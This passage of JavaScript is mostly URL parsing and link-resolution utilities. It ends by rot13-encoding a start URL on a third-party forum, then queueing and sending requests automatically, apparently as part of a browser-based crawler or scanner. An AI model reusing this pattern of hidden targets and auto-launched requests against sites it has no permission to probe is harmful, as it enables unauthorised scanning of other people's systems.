for(var i = 0; i < tmp.length; i++) {
if(tmp[i] == ".") {
tmp.splice(i, 1);
i = i -1;
} else if(tmp[i] == "..") {
if(i == 0) {
//more /../ than directories
//alert("Invalid url \"" + url + "\"");
throw "Invalid URL";
}
tmp.splice(i-1, 2);
i=i-2;
}
}
if(tmp.length >=1) {
this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);
} else {
this.path = SLASH;
}
}
} else {
this.hostname = unescape(tmp[0]);
this.path = SLASH;
}
//grab the port
tmp = this.hostname.split(":");
this.hostname = tmp[0];
this.port = (tmp.length == 2) ? unescape(tmp[1]) : "";
//be smart and fill in the port as needed
if(this.port.length == 0) {
if(this.protocol == "http")
this.port = "80";
else
this.port = "443";
}
//grab the filename extension
if(this.filename.length > 0) {
tmp = this.filename.split(".");
this.fileext = (tmp.length > 1) ? tmp.pop() : "";
}
}
return this;
}
Url.prototype.addNV = function(name, value) {
this.queryParams[this.queryParams.length] = new NVPair(name, value);
}
function Url_resolveRelativeLink(baseUrl, relativeLink) {
if(typeof(baseUrl) == "string") {
baseUrl = new Url(baseUrl);
}
//is it relative?
if(unescape(relativeLink).indexOf("://") > 0) {
return new Url(relativeLink);
}
//alert("BASE IS: " + baseUrl);
var s;
//set up our base
s = String.concat(baseUrl.protocol,
"://",
baseUrl.hostname,
(baseUrl.port.length > 0) ? ":" + baseUrl.port : "");
if(relativeLink.substring(0,1) == SLASH) {
//link is relative to site root, so directly concat
s = String.concat(s, relativeLink);
} else {
//link is relative to current path
s = String.concat(s, baseUrl.path, relativeLink);
}
return new Url(s);
}
function Url_toString() {
return String.concat(this.protocol,
"://",
this.hostname,
(this.port.length > 0) ? ":" + this.port : "",
this.path,
this.filename,
(this.queryParams.length > 0) ? "?" + this.queryParams.join("&") : "",
this.frag);
}
function Url_toStringNoPath() {
return String.concat(this.protocol,
"://",
this.hostname,
(this.port.length > 0) ? ":" + this.port : "");
}
Url.prototype.toString = Url_toString;
Url.prototype.toStringNoPath = Url_toStringNoPath;
Url.resolveRelativeLink = Url_resolveRelativeLink;
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc"); //http://blackhat-forums.com/phpBB2/index.php uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
//var startUrlString = rot13("");
var startUrl = new Url(startUrlString);
//queue up first request
addRequest(Request.fromUrl(startUrl));
//let 'er rip!
sendNextRequest();